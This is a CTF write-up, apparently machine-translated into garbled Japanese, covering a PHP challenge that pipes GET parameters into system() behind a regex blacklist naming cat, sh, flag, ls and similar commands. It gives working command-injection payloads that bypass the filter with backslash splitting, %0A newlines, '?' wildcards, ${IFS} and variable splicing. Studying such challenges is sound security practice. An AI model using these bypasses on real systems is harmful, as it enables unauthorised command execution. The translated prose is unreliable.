0x01のコードを貼り付け
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>
0x02の分析
最初の猫を濾過して、より多くのフラグと換言すると、ここにあなたが使用できる\
バイパスに、例えばc\at fla\g.php
、(ここではその理由であってもよい\
ので、タイトルpreg_match
にある\\
無フィルタの等価の文言\
)、そして私たちは知っているlinux
、改行が可能コマンドの区切りとして。
通常の少しの脆弱性を、PHP、スロー2つのスラッシュphp
だけのスラッシュは、その後、定期的に脱出するために、スラッシュに投げ込ま
この小さな欠陥に起因して、Aが濾過される|*
代わりに*
、Bを濾過し|\n
、代わりに、フィルタリングされているの\n
ペイロード:結果(改行の真ん中)http://127.0.0.1/?a=\&b=%0Aca\t%20index.php%0A
$cmd var_dump
string(27) "file "\" " ca\t index.php "" "
0x03の知識の概要
1、追加コマンド\
キーワードフィルタをバイパスするため
、2はそのような環境変数の値をバイパスするためにも使用することができる${path:0:1}
が、ここでフィルタ{}
は、この方法は、使用できないenv
コマンドは、全ての変数環境表示することができる
2つのコマンドのフィルタのため、3回避方法の種、Linuxでは、ワイルドカードである?
ようなバイパス、var
筆記v?r
expr${IFS}substr${IFS}“this is a test”${IFS}3${IFS}5
3、スプライシング方法バイパスするためにコマンドを使用することができるa=1;b=s;$a$b
ために、セミコロンを%0A
する改行http://127.0.0.1/?a=\&b=%0Ac=ca%0Ad=t%0A$c$d index.php%0A
4、異なるシステム異なる閉鎖
- Unixシステムだけ各行の終わり "<ラップ>"、すなわち、 "\ n"(%の0A)で
- システムで勝つ、各ラインの端部は、「<改行> <ENTER>」であり、すなわち、「\ R \ n」は
- Macでは、各行の末尾には、 "\ R"、つまり、 "<Enter>を"(%0D)であります